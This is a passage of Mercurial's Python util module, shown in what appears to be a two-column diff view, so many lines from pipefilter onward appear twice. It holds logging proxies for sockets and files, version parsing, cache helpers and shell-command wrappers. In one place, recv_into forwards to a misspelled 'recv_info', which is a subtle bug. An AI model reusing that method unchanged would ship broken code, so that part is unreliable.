723 return object.__getattribute__(self, name)
724
725 return getattr(object.__getattribute__(self, r'_orig'), name)
726
727 def __delattr__(self, name):
728 return delattr(object.__getattribute__(self, r'_orig'), name)
729
730 def __setattr__(self, name, value):
731 return setattr(object.__getattribute__(self, r'_orig'), name, value)
732
733 def __nonzero__(self):
734 return bool(object.__getattribute__(self, r'_orig'))
735
736 __bool__ = __nonzero__
737
738 def _observedcall(self, name, *args, **kwargs):
739 # Call the original object.
740 orig = object.__getattribute__(self, r'_orig')
741 res = getattr(orig, name)(*args, **kwargs)
742
743 # Call a method on the observer of the same name with arguments
744 # so it can react, log, etc.
745 observer = object.__getattribute__(self, r'_observer')
746 fn = getattr(observer, name, None)
747 if fn:
748 fn(res, *args, **kwargs)
749
750 return res
751
752 def makefile(self, *args, **kwargs):
753 res = object.__getattribute__(self, r'_observedcall')(
754 r'makefile', *args, **kwargs)
755
756 # The file object may be used for I/O. So we turn it into a
757 # proxy using our observer.
758 observer = object.__getattribute__(self, r'_observer')
759 return makeloggingfileobject(observer.fh, res, observer.name,
760 reads=observer.reads,
761 writes=observer.writes,
762 logdata=observer.logdata,
763 logdataapis=observer.logdataapis)
764
765 def recv(self, *args, **kwargs):
766 return object.__getattribute__(self, r'_observedcall')(
767 r'recv', *args, **kwargs)
768
769 def recvfrom(self, *args, **kwargs):
770 return object.__getattribute__(self, r'_observedcall')(
771 r'recvfrom', *args, **kwargs)
772
773 def recvfrom_into(self, *args, **kwargs):
774 return object.__getattribute__(self, r'_observedcall')(
775 r'recvfrom_into', *args, **kwargs)
776
777 def recv_into(self, *args, **kwargs):
778 return object.__getattribute__(self, r'_observedcall')(
779 r'recv_info', *args, **kwargs)
780
781 def send(self, *args, **kwargs):
782 return object.__getattribute__(self, r'_observedcall')(
783 r'send', *args, **kwargs)
784
785 def sendall(self, *args, **kwargs):
786 return object.__getattribute__(self, r'_observedcall')(
787 r'sendall', *args, **kwargs)
788
789 def sendto(self, *args, **kwargs):
790 return object.__getattribute__(self, r'_observedcall')(
791 r'sendto', *args, **kwargs)
792
793 def setblocking(self, *args, **kwargs):
794 return object.__getattribute__(self, r'_observedcall')(
795 r'setblocking', *args, **kwargs)
796
797 def settimeout(self, *args, **kwargs):
798 return object.__getattribute__(self, r'_observedcall')(
799 r'settimeout', *args, **kwargs)
800
801 def gettimeout(self, *args, **kwargs):
802 return object.__getattribute__(self, r'_observedcall')(
803 r'gettimeout', *args, **kwargs)
804
805 def setsockopt(self, *args, **kwargs):
806 return object.__getattribute__(self, r'_observedcall')(
807 r'setsockopt', *args, **kwargs)
808
809 class baseproxyobserver(object):
810 def _writedata(self, data):
811 if not self.logdata:
812 if self.logdataapis:
813 self.fh.write('\n')
814 self.fh.flush()
815 return
816
817 # Simple case writes all data on a single line.
818 if b'\n' not in data:
819 if self.logdataapis:
820 self.fh.write(': %s\n' % stringutil.escapedata(data))
821 else:
822 self.fh.write('%s> %s\n'
823 % (self.name, stringutil.escapedata(data)))
824 self.fh.flush()
825 return
826
827 # Data with newlines is written to multiple lines.
828 if self.logdataapis:
829 self.fh.write(':\n')
830
831 lines = data.splitlines(True)
832 for line in lines:
833 self.fh.write('%s> %s\n'
834 % (self.name, stringutil.escapedata(line)))
835 self.fh.flush()
836
837 class fileobjectobserver(baseproxyobserver):
838 """Logs file object activity."""
839 def __init__(self, fh, name, reads=True, writes=True, logdata=False,
840 logdataapis=True):
841 self.fh = fh
842 self.name = name
843 self.logdata = logdata
844 self.logdataapis = logdataapis
845 self.reads = reads
846 self.writes = writes
847
848 def read(self, res, size=-1):
849 if not self.reads:
850 return
851 # Python 3 can return None from reads at EOF instead of empty strings.
852 if res is None:
853 res = ''
854
855 if self.logdataapis:
856 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
857
858 self._writedata(res)
859
860 def readline(self, res, limit=-1):
861 if not self.reads:
862 return
863
864 if self.logdataapis:
865 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
866
867 self._writedata(res)
868
869 def readinto(self, res, dest):
870 if not self.reads:
871 return
872
873 if self.logdataapis:
874 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
875 res))
876
877 data = dest[0:res] if res is not None else b''
878 self._writedata(data)
879
880 def write(self, res, data):
881 if not self.writes:
882 return
883
884 # Python 2 returns None from some write() calls. Python 3 (reasonably)
885 # returns the integer bytes written.
886 if res is None and data:
887 res = len(data)
888
889 if self.logdataapis:
890 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
891
892 self._writedata(data)
893
894 def flush(self, res):
895 if not self.writes:
896 return
897
898 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
899
900 # For observedbufferedinputpipe.
901 def bufferedread(self, res, size):
902 if not self.reads:
903 return
904
905 if self.logdataapis:
906 self.fh.write('%s> bufferedread(%d) -> %d' % (
907 self.name, size, len(res)))
908
909 self._writedata(res)
910
911 def bufferedreadline(self, res):
912 if not self.reads:
913 return
914
915 if self.logdataapis:
916 self.fh.write('%s> bufferedreadline() -> %d' % (
917 self.name, len(res)))
918
919 self._writedata(res)
920
921 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
922 logdata=False, logdataapis=True):
923 """Turn a file object into a logging file object."""
924
925 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
926 logdata=logdata, logdataapis=logdataapis)
927 return fileobjectproxy(fh, observer)
928
929 class socketobserver(baseproxyobserver):
930 """Logs socket activity."""
931 def __init__(self, fh, name, reads=True, writes=True, states=True,
932 logdata=False, logdataapis=True):
933 self.fh = fh
934 self.name = name
935 self.reads = reads
936 self.writes = writes
937 self.states = states
938 self.logdata = logdata
939 self.logdataapis = logdataapis
940
941 def makefile(self, res, mode=None, bufsize=None):
942 if not self.states:
943 return
944
945 self.fh.write('%s> makefile(%r, %r)\n' % (
946 self.name, mode, bufsize))
947
948 def recv(self, res, size, flags=0):
949 if not self.reads:
950 return
951
952 if self.logdataapis:
953 self.fh.write('%s> recv(%d, %d) -> %d' % (
954 self.name, size, flags, len(res)))
955 self._writedata(res)
956
957 def recvfrom(self, res, size, flags=0):
958 if not self.reads:
959 return
960
961 if self.logdataapis:
962 self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
963 self.name, size, flags, len(res[0])))
964
965 self._writedata(res[0])
966
967 def recvfrom_into(self, res, buf, size, flags=0):
968 if not self.reads:
969 return
970
971 if self.logdataapis:
972 self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
973 self.name, size, flags, res[0]))
974
975 self._writedata(buf[0:res[0]])
976
977 def recv_into(self, res, buf, size=0, flags=0):
978 if not self.reads:
979 return
980
981 if self.logdataapis:
982 self.fh.write('%s> recv_into(%d, %d) -> %d' % (
983 self.name, size, flags, res))
984
985 self._writedata(buf[0:res])
986
987 def send(self, res, data, flags=0):
988 if not self.writes:
989 return
990
991 self.fh.write('%s> send(%d, %d) -> %d' % (
992 self.name, len(data), flags, len(res)))
993 self._writedata(data)
994
995 def sendall(self, res, data, flags=0):
996 if not self.writes:
997 return
998
999 if self.logdataapis:
1000 # Returns None on success. So don't bother reporting return value.
1001 self.fh.write('%s> sendall(%d, %d)' % (
1002 self.name, len(data), flags))
1003
1004 self._writedata(data)
1005
1006 def sendto(self, res, data, flagsoraddress, address=None):
1007 if not self.writes:
1008 return
1009
1010 if address:
1011 flags = flagsoraddress
1012 else:
1013 flags = 0
1014
1015 if self.logdataapis:
1016 self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
1017 self.name, len(data), flags, address, res))
1018
1019 self._writedata(data)
1020
1021 def setblocking(self, res, flag):
1022 if not self.states:
1023 return
1024
1025 self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
1026
1027 def settimeout(self, res, value):
1028 if not self.states:
1029 return
1030
1031 self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
1032
1033 def gettimeout(self, res):
1034 if not self.states:
1035 return
1036
1037 self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
1038
1039 def setsockopt(self, level, optname, value):
1040 if not self.states:
1041 return
1042
1043 self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
1044 self.name, level, optname, value))
1045
1046 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
1047 logdata=False, logdataapis=True):
1048 """Turn a socket into a logging socket."""
1049
1050 observer = socketobserver(logh, name, reads=reads, writes=writes,
1051 states=states, logdata=logdata,
1052 logdataapis=logdataapis)
1053 return socketproxy(fh, observer)
1054
1055 def version():
1056 """Return version information if available."""
1057 try:
1058 from . import __version__
1059 return __version__.version
1060 except ImportError:
1061 return 'unknown'
1062
1063 def versiontuple(v=None, n=4):
1064 """Parses a Mercurial version string into an N-tuple.
1065
1066 The version string to be parsed is specified with the ``v`` argument.
1067 If it isn't defined, the current Mercurial version string will be parsed.
1068
1069 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1070 returned values:
1071
1072 >>> v = b'3.6.1+190-df9b73d2d444'
1073 >>> versiontuple(v, 2)
1074 (3, 6)
1075 >>> versiontuple(v, 3)
1076 (3, 6, 1)
1077 >>> versiontuple(v, 4)
1078 (3, 6, 1, '190-df9b73d2d444')
1079
1080 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1081 (3, 6, 1, '190-df9b73d2d444+20151118')
1082
1083 >>> v = b'3.6'
1084 >>> versiontuple(v, 2)
1085 (3, 6)
1086 >>> versiontuple(v, 3)
1087 (3, 6, None)
1088 >>> versiontuple(v, 4)
1089 (3, 6, None, None)
1090
1091 >>> v = b'3.9-rc'
1092 >>> versiontuple(v, 2)
1093 (3, 9)
1094 >>> versiontuple(v, 3)
1095 (3, 9, None)
1096 >>> versiontuple(v, 4)
1097 (3, 9, None, 'rc')
1098
1099 >>> v = b'3.9-rc+2-02a8fea4289b'
1100 >>> versiontuple(v, 2)
1101 (3, 9)
1102 >>> versiontuple(v, 3)
1103 (3, 9, None)
1104 >>> versiontuple(v, 4)
1105 (3, 9, None, 'rc+2-02a8fea4289b')
1106 """
1107 if not v:
1108 v = version()
1109 parts = remod.split('[\+-]', v, 1)
1110 if len(parts) == 1:
1111 vparts, extra = parts[0], None
1112 else:
1113 vparts, extra = parts
1114
1115 vints = []
1116 for i in vparts.split('.'):
1117 try:
1118 vints.append(int(i))
1119 except ValueError:
1120 break
1121 # (3, 6) -> (3, 6, None)
1122 while len(vints) < 3:
1123 vints.append(None)
1124
1125 if n == 2:
1126 return (vints[0], vints[1])
1127 if n == 3:
1128 return (vints[0], vints[1], vints[2])
1129 if n == 4:
1130 return (vints[0], vints[1], vints[2], extra)
1131
1132 def cachefunc(func):
1133 '''cache the result of function calls'''
1134 # XXX doesn't handle keywords args
1135 if func.__code__.co_argcount == 0:
1136 cache = []
1137 def f():
1138 if len(cache) == 0:
1139 cache.append(func())
1140 return cache[0]
1141 return f
1142 cache = {}
1143 if func.__code__.co_argcount == 1:
1144 # we gain a small amount of time because
1145 # we don't need to pack/unpack the list
1146 def f(arg):
1147 if arg not in cache:
1148 cache[arg] = func(arg)
1149 return cache[arg]
1150 else:
1151 def f(*args):
1152 if args not in cache:
1153 cache[args] = func(*args)
1154 return cache[args]
1155
1156 return f
1157
1158 class cow(object):
1159 """helper class to make copy-on-write easier
1160
1161 Call preparewrite before doing any writes.
1162 """
1163
1164 def preparewrite(self):
1165 """call this before writes, return self or a copied new object"""
1166 if getattr(self, '_copied', 0):
1167 self._copied -= 1
1168 return self.__class__(self)
1169 return self
1170
1171 def copy(self):
1172 """always do a cheap copy"""
1173 self._copied = getattr(self, '_copied', 0) + 1
1174 return self
1175
1176 class sortdict(collections.OrderedDict):
1177 '''a simple sorted dictionary
1178
1179 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1180 >>> d2 = d1.copy()
1181 >>> d2
1182 sortdict([('a', 0), ('b', 1)])
1183 >>> d2.update([(b'a', 2)])
1184 >>> list(d2.keys()) # should still be in last-set order
1185 ['b', 'a']
1186 '''
1187
1188 def __setitem__(self, key, value):
1189 if key in self:
1190 del self[key]
1191 super(sortdict, self).__setitem__(key, value)
1192
1193 if pycompat.ispypy:
1194 # __setitem__() isn't called as of PyPy 5.8.0
1195 def update(self, src):
1196 if isinstance(src, dict):
1197 src = src.iteritems()
1198 for k, v in src:
1199 self[k] = v
1200
1201 class cowdict(cow, dict):
1202 """copy-on-write dict
1203
1204 Be sure to call d = d.preparewrite() before writing to d.
1205
1206 >>> a = cowdict()
1207 >>> a is a.preparewrite()
1208 True
1209 >>> b = a.copy()
1210 >>> b is a
1211 True
1212 >>> c = b.copy()
1213 >>> c is a
1214 True
1215 >>> a = a.preparewrite()
1216 >>> b is a
1217 False
1218 >>> a is a.preparewrite()
1219 True
1220 >>> c = c.preparewrite()
1221 >>> b is c
1222 False
1223 >>> b is b.preparewrite()
1224 True
1225 """
1226
1227 class cowsortdict(cow, sortdict):
1228 """copy-on-write sortdict
1229
1230 Be sure to call d = d.preparewrite() before writing to d.
1231 """
1232
1233 class transactional(object):
1234 """Base class for making a transactional type into a context manager."""
1235 __metaclass__ = abc.ABCMeta
1236
1237 @abc.abstractmethod
1238 def close(self):
1239 """Successfully closes the transaction."""
1240
1241 @abc.abstractmethod
1242 def release(self):
1243 """Marks the end of the transaction.
1244
1245 If the transaction has not been closed, it will be aborted.
1246 """
1247
1248 def __enter__(self):
1249 return self
1250
1251 def __exit__(self, exc_type, exc_val, exc_tb):
1252 try:
1253 if exc_type is None:
1254 self.close()
1255 finally:
1256 self.release()
1257
1258 @contextlib.contextmanager
1259 def acceptintervention(tr=None):
1260 """A context manager that closes the transaction on InterventionRequired
1261
1262 If no transaction was provided, this simply runs the body and returns
1263 """
1264 if not tr:
1265 yield
1266 return
1267 try:
1268 yield
1269 tr.close()
1270 except error.InterventionRequired:
1271 tr.close()
1272 raise
1273 finally:
1274 tr.release()
1275
1276 @contextlib.contextmanager
1277 def nullcontextmanager():
1278 yield
1279
1280 class _lrucachenode(object):
1281 """A node in a doubly linked list.
1282
1283 Holds a reference to nodes on either side as well as a key-value
1284 pair for the dictionary entry.
1285 """
1286 __slots__ = (u'next', u'prev', u'key', u'value')
1287
1288 def __init__(self):
1289 self.next = None
1290 self.prev = None
1291
1292 self.key = _notset
1293 self.value = None
1294
1295 def markempty(self):
1296 """Mark the node as emptied."""
1297 self.key = _notset
1298
1299 class lrucachedict(object):
1300 """Dict that caches most recent accesses and sets.
1301
1302 The dict consists of an actual backing dict - indexed by original
1303 key - and a doubly linked circular list defining the order of entries in
1304 the cache.
1305
1306 The head node is the newest entry in the cache. If the cache is full,
1307 we recycle head.prev and make it the new head. Cache accesses result in
1308 the node being moved to before the existing head and being marked as the
1309 new head node.
1310 """
1311 def __init__(self, max):
1312 self._cache = {}
1313
1314 self._head = head = _lrucachenode()
1315 head.prev = head
1316 head.next = head
1317 self._size = 1
1318 self._capacity = max
1319
1320 def __len__(self):
1321 return len(self._cache)
1322
1323 def __contains__(self, k):
1324 return k in self._cache
1325
1326 def __iter__(self):
1327 # We don't have to iterate in cache order, but why not.
1328 n = self._head
1329 for i in range(len(self._cache)):
1330 yield n.key
1331 n = n.next
1332
1333 def __getitem__(self, k):
1334 node = self._cache[k]
1335 self._movetohead(node)
1336 return node.value
1337
1338 def __setitem__(self, k, v):
1339 node = self._cache.get(k)
1340 # Replace existing value and mark as newest.
1341 if node is not None:
1342 node.value = v
1343 self._movetohead(node)
1344 return
1345
1346 if self._size < self._capacity:
1347 node = self._addcapacity()
1348 else:
1349 # Grab the last/oldest item.
1350 node = self._head.prev
1351
1352 # At capacity. Kill the old entry.
1353 if node.key is not _notset:
1354 del self._cache[node.key]
1355
1356 node.key = k
1357 node.value = v
1358 self._cache[k] = node
1359 # And mark it as newest entry. No need to adjust order since it
1360 # is already self._head.prev.
1361 self._head = node
1362
1363 def __delitem__(self, k):
1364 node = self._cache.pop(k)
1365 node.markempty()
1366
1367 # Temporarily mark as newest item before re-adjusting head to make
1368 # this node the oldest item.
1369 self._movetohead(node)
1370 self._head = node.next
1371
1372 # Additional dict methods.
1373
1374 def get(self, k, default=None):
1375 try:
1376 return self._cache[k].value
1377 except KeyError:
1378 return default
1379
1380 def clear(self):
1381 n = self._head
1382 while n.key is not _notset:
1383 n.markempty()
1384 n = n.next
1385
1386 self._cache.clear()
1387
1388 def copy(self):
1389 result = lrucachedict(self._capacity)
1390 n = self._head.prev
1391 # Iterate in oldest-to-newest order, so the copy has the right ordering
1392 for i in range(len(self._cache)):
1393 result[n.key] = n.value
1394 n = n.prev
1395 return result
1396
1397 def _movetohead(self, node):
1398 """Mark a node as the newest, making it the new head.
1399
1400 When a node is accessed, it becomes the freshest entry in the LRU
1401 list, which is denoted by self._head.
1402
1403 Visually, let's make ``N`` the new head node (* denotes head):
1404
1405 previous/oldest <-> head <-> next/next newest
1406
1407 ----<->--- A* ---<->-----
1408 | |
1409 E <-> D <-> N <-> C <-> B
1410
1411 To:
1412
1413 ----<->--- N* ---<->-----
1414 | |
1415 E <-> D <-> C <-> B <-> A
1416
1417 This requires the following moves:
1418
1419 C.next = D (node.prev.next = node.next)
1420 D.prev = C (node.next.prev = node.prev)
1421 E.next = N (head.prev.next = node)
1422 N.prev = E (node.prev = head.prev)
1423 N.next = A (node.next = head)
1424 A.prev = N (head.prev = node)
1425 """
1426 head = self._head
1427 # C.next = D
1428 node.prev.next = node.next
1429 # D.prev = C
1430 node.next.prev = node.prev
1431 # N.prev = E
1432 node.prev = head.prev
1433 # N.next = A
1434 # It is tempting to do just "head" here, however if node is
1435 # adjacent to head, this will do bad things.
1436 node.next = head.prev.next
1437 # E.next = N
1438 node.next.prev = node
1439 # A.prev = N
1440 node.prev.next = node
1441
1442 self._head = node
1443
1444 def _addcapacity(self):
1445 """Add a node to the circular linked list.
1446
1447 The new node is inserted before the head node.
1448 """
1449 head = self._head
1450 node = _lrucachenode()
1451 head.prev.next = node
1452 node.prev = head.prev
1453 node.next = head
1454 head.prev = node
1455 self._size += 1
1456 return node
1457
1458 def lrucachefunc(func):
1459 '''cache most recent results of function calls'''
1460 cache = {}
1461 order = collections.deque()
1462 if func.__code__.co_argcount == 1:
1463 def f(arg):
1464 if arg not in cache:
1465 if len(cache) > 20:
1466 del cache[order.popleft()]
1467 cache[arg] = func(arg)
1468 else:
1469 order.remove(arg)
1470 order.append(arg)
1471 return cache[arg]
1472 else:
1473 def f(*args):
1474 if args not in cache:
1475 if len(cache) > 20:
1476 del cache[order.popleft()]
1477 cache[args] = func(*args)
1478 else:
1479 order.remove(args)
1480 order.append(args)
1481 return cache[args]
1482
1483 return f
1484
1485 class propertycache(object):
1486 def __init__(self, func):
1487 self.func = func
1488 self.name = func.__name__
1489 def __get__(self, obj, type=None):
1490 result = self.func(obj)
1491 self.cachevalue(obj, result)
1492 return result
1493
1494 def cachevalue(self, obj, value):
1495 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1496 obj.__dict__[self.name] = value
1497
1498 def clearcachedproperty(obj, prop):
1499 '''clear a cached property value, if one has been set'''
1500 if prop in obj.__dict__:
1501 del obj.__dict__[prop]
1502
1503 def pipefilter(s, cmd):
106 def pipefilter(s, cmd):
1504 '''filter string S through command CMD, returning its output'''
107 '''filter string S through command CMD, returning its output'''
1505 p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
108 p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1506 stdin=subprocess.PIPE, stdout=subprocess.PIPE)
109 stdin=subprocess.PIPE, stdout=subprocess.PIPE)
1507 pout, perr = p.communicate(s)
110 pout, perr = p.communicate(s)
1508 return pout
111 return pout
1509
112
1510 def tempfilter(s, cmd):
113 def tempfilter(s, cmd):
1511 '''filter string S through a pair of temporary files with CMD.
114 '''filter string S through a pair of temporary files with CMD.
1512 CMD is used as a template to create the real command to be run,
115 CMD is used as a template to create the real command to be run,
1513 with the strings INFILE and OUTFILE replaced by the real names of
116 with the strings INFILE and OUTFILE replaced by the real names of
1514 the temporary files generated.'''
117 the temporary files generated.'''
1515 inname, outname = None, None
118 inname, outname = None, None
1516 try:
119 try:
1517 infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
120 infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
1518 fp = os.fdopen(infd, r'wb')
121 fp = os.fdopen(infd, r'wb')
1519 fp.write(s)
122 fp.write(s)
1520 fp.close()
123 fp.close()
1521 outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
124 outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
1522 os.close(outfd)
125 os.close(outfd)
1523 cmd = cmd.replace('INFILE', inname)
126 cmd = cmd.replace('INFILE', inname)
1524 cmd = cmd.replace('OUTFILE', outname)
127 cmd = cmd.replace('OUTFILE', outname)
1525 code = os.system(cmd)
128 code = os.system(cmd)
1526 if pycompat.sysplatform == 'OpenVMS' and code & 1:
129 if pycompat.sysplatform == 'OpenVMS' and code & 1:
1527 code = 0
130 code = 0
1528 if code:
131 if code:
1529 raise error.Abort(_("command '%s' failed: %s") %
132 raise error.Abort(_("command '%s' failed: %s") %
1530 (cmd, explainexit(code)))
133 (cmd, explainexit(code)))
1531 with open(outname, 'rb') as fp:
134 with open(outname, 'rb') as fp:
1532 return fp.read()
135 return fp.read()
1533 finally:
136 finally:
1534 try:
137 try:
1535 if inname:
138 if inname:
1536 os.unlink(inname)
139 os.unlink(inname)
1537 except OSError:
140 except OSError:
1538 pass
141 pass
1539 try:
142 try:
1540 if outname:
143 if outname:
1541 os.unlink(outname)
144 os.unlink(outname)
1542 except OSError:
145 except OSError:
1543 pass
146 pass
1544
147
1545 _filtertable = {
148 _filtertable = {
1546 'tempfile:': tempfilter,
149 'tempfile:': tempfilter,
1547 'pipe:': pipefilter,
150 'pipe:': pipefilter,
1548 }
151 }
1549
152
1550 def filter(s, cmd):
153 def filter(s, cmd):
1551 "filter a string through a command that transforms its input to its output"
154 "filter a string through a command that transforms its input to its output"
1552 for name, fn in _filtertable.iteritems():
155 for name, fn in _filtertable.iteritems():
1553 if cmd.startswith(name):
156 if cmd.startswith(name):
1554 return fn(s, cmd[len(name):].lstrip())
157 return fn(s, cmd[len(name):].lstrip())
1555 return pipefilter(s, cmd)
158 return pipefilter(s, cmd)
1556
159
1557 def increasingchunks(source, min=1024, max=65536):
1558 '''return no less than min bytes per chunk while data remains,
1559 doubling min after each chunk until it reaches max'''
1560 def log2(x):
1561 if not x:
1562 return 0
1563 i = 0
1564 while x:
1565 x >>= 1
1566 i += 1
1567 return i - 1
1568
1569 buf = []
1570 blen = 0
1571 for chunk in source:
1572 buf.append(chunk)
1573 blen += len(chunk)
1574 if blen >= min:
1575 if min < max:
1576 min = min << 1
1577 nmin = 1 << log2(blen)
1578 if nmin > min:
1579 min = nmin
1580 if min > max:
1581 min = max
1582 yield ''.join(buf)
1583 blen = 0
1584 buf = []
1585 if buf:
1586 yield ''.join(buf)
1587
1588 def always(fn):
1589 return True
1590
1591 def never(fn):
1592 return False
1593
1594 def nogc(func):
1595 """disable garbage collector
1596
1597 Python's garbage collector triggers a GC each time a certain number of
1598 container objects (the number being defined by gc.get_threshold()) are
1599 allocated even when marked not to be tracked by the collector. Tracking has
1600 no effect on when GCs are triggered, only on what objects the GC looks
1601 into. As a workaround, disable GC while building complex (huge)
1602 containers.
1603
1604 This garbage collector issue have been fixed in 2.7. But it still affect
1605 CPython's performance.
1606 """
1607 def wrapper(*args, **kwargs):
1608 gcenabled = gc.isenabled()
1609 gc.disable()
1610 try:
1611 return func(*args, **kwargs)
1612 finally:
1613 if gcenabled:
1614 gc.enable()
1615 return wrapper
1616
1617 if pycompat.ispypy:
1618 # PyPy runs slower with gc disabled
1619 nogc = lambda x: x
1620
1621 def pathto(root, n1, n2):
1622 '''return the relative path from one place to another.
1623 root should use os.sep to separate directories
1624 n1 should use os.sep to separate directories
1625 n2 should use "/" to separate directories
1626 returns an os.sep-separated path.
1627
1628 If n1 is a relative path, it's assumed it's
1629 relative to root.
1630 n2 should always be relative to root.
1631 '''
1632 if not n1:
1633 return localpath(n2)
1634 if os.path.isabs(n1):
1635 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1636 return os.path.join(root, localpath(n2))
1637 n2 = '/'.join((pconvert(root), n2))
1638 a, b = splitpath(n1), n2.split('/')
1639 a.reverse()
1640 b.reverse()
1641 while a and b and a[-1] == b[-1]:
1642 a.pop()
1643 b.pop()
1644 b.reverse()
1645 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1646
1647 def mainfrozen():
160 def mainfrozen():
1648 """return True if we are a frozen executable.
161 """return True if we are a frozen executable.
1649
162
1650 The code supports py2exe (most common, Windows only) and tools/freeze
163 The code supports py2exe (most common, Windows only) and tools/freeze
1651 (portable, not much used).
164 (portable, not much used).
1652 """
165 """
1653 return (safehasattr(sys, "frozen") or # new py2exe
166 return (pycompat.safehasattr(sys, "frozen") or # new py2exe
1654 safehasattr(sys, "importers") or # old py2exe
167 pycompat.safehasattr(sys, "importers") or # old py2exe
1655 imp.is_frozen(u"__main__")) # tools/freeze
168 imp.is_frozen(u"__main__")) # tools/freeze
1656
169
1657 # the location of data files matching the source code
1658 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1659 # executable version (py2exe) doesn't support __file__
1660 datapath = os.path.dirname(pycompat.sysexecutable)
1661 else:
1662 datapath = os.path.dirname(pycompat.fsencode(__file__))
1663
1664 i18n.setdatapath(datapath)
1665
1666 _hgexecutable = None
170 _hgexecutable = None
1667
171
1668 def hgexecutable():
172 def hgexecutable():
1669 """return location of the 'hg' executable.
173 """return location of the 'hg' executable.
1670
174
1671 Defaults to $HG or 'hg' in the search path.
175 Defaults to $HG or 'hg' in the search path.
1672 """
176 """
1673 if _hgexecutable is None:
177 if _hgexecutable is None:
1674 hg = encoding.environ.get('HG')
178 hg = encoding.environ.get('HG')
1675 mainmod = sys.modules[r'__main__']
179 mainmod = sys.modules[r'__main__']
1676 if hg:
180 if hg:
1677 _sethgexecutable(hg)
181 _sethgexecutable(hg)
1678 elif mainfrozen():
182 elif mainfrozen():
1679 if getattr(sys, 'frozen', None) == 'macosx_app':
183 if getattr(sys, 'frozen', None) == 'macosx_app':
1680 # Env variable set by py2app
184 # Env variable set by py2app
1681 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
185 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
1682 else:
186 else:
1683 _sethgexecutable(pycompat.sysexecutable)
187 _sethgexecutable(pycompat.sysexecutable)
1684 elif (os.path.basename(
188 elif (os.path.basename(
1685 pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
189 pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
1686 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
190 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
1687 else:
191 else:
1688 exe = findexe('hg') or os.path.basename(sys.argv[0])
192 exe = findexe('hg') or os.path.basename(sys.argv[0])
1689 _sethgexecutable(exe)
193 _sethgexecutable(exe)
1690 return _hgexecutable
194 return _hgexecutable
1691
195
1692 def _sethgexecutable(path):
196 def _sethgexecutable(path):
1693 """set location of the 'hg' executable"""
197 """set location of the 'hg' executable"""
1694 global _hgexecutable
198 global _hgexecutable
1695 _hgexecutable = path
199 _hgexecutable = path
1696
200
1697 def _testfileno(f, stdf):
201 def _testfileno(f, stdf):
1698 fileno = getattr(f, 'fileno', None)
202 fileno = getattr(f, 'fileno', None)
1699 try:
203 try:
1700 return fileno and fileno() == stdf.fileno()
204 return fileno and fileno() == stdf.fileno()
1701 except io.UnsupportedOperation:
205 except io.UnsupportedOperation:
1702 return False # fileno() raised UnsupportedOperation
206 return False # fileno() raised UnsupportedOperation
1703
207
1704 def isstdin(f):
208 def isstdin(f):
1705 return _testfileno(f, sys.__stdin__)
209 return _testfileno(f, sys.__stdin__)
1706
210
1707 def isstdout(f):
211 def isstdout(f):
1708 return _testfileno(f, sys.__stdout__)
212 return _testfileno(f, sys.__stdout__)
1709
213
1710 def shellenviron(environ=None):
214 def shellenviron(environ=None):
1711 """return environ with optional override, useful for shelling out"""
215 """return environ with optional override, useful for shelling out"""
1712 def py2shell(val):
216 def py2shell(val):
1713 'convert python object into string that is useful to shell'
217 'convert python object into string that is useful to shell'
1714 if val is None or val is False:
218 if val is None or val is False:
1715 return '0'
219 return '0'
1716 if val is True:
220 if val is True:
1717 return '1'
221 return '1'
1718 return pycompat.bytestr(val)
222 return pycompat.bytestr(val)
1719 env = dict(encoding.environ)
223 env = dict(encoding.environ)
1720 if environ:
224 if environ:
1721 env.update((k, py2shell(v)) for k, v in environ.iteritems())
225 env.update((k, py2shell(v)) for k, v in environ.iteritems())
1722 env['HG'] = hgexecutable()
226 env['HG'] = hgexecutable()
1723 return env
227 return env
1724
228
1725 def system(cmd, environ=None, cwd=None, out=None):
229 def system(cmd, environ=None, cwd=None, out=None):
1726 '''enhanced shell command execution.
230 '''enhanced shell command execution.
1727 run with environment maybe modified, maybe in different dir.
231 run with environment maybe modified, maybe in different dir.
1728
232
1729 if out is specified, it is assumed to be a file-like object that has a
233 if out is specified, it is assumed to be a file-like object that has a
1730 write() method. stdout and stderr will be redirected to out.'''
234 write() method. stdout and stderr will be redirected to out.'''
1731 try:
235 try:
1732 stdout.flush()
236 stdout.flush()
1733 except Exception:
237 except Exception:
1734 pass
238 pass
1735 cmd = quotecommand(cmd)
239 cmd = quotecommand(cmd)
1736 env = shellenviron(environ)
240 env = shellenviron(environ)
1737 if out is None or isstdout(out):
241 if out is None or isstdout(out):
1738 rc = subprocess.call(cmd, shell=True, close_fds=closefds,
242 rc = subprocess.call(cmd, shell=True, close_fds=closefds,
1739 env=env, cwd=cwd)
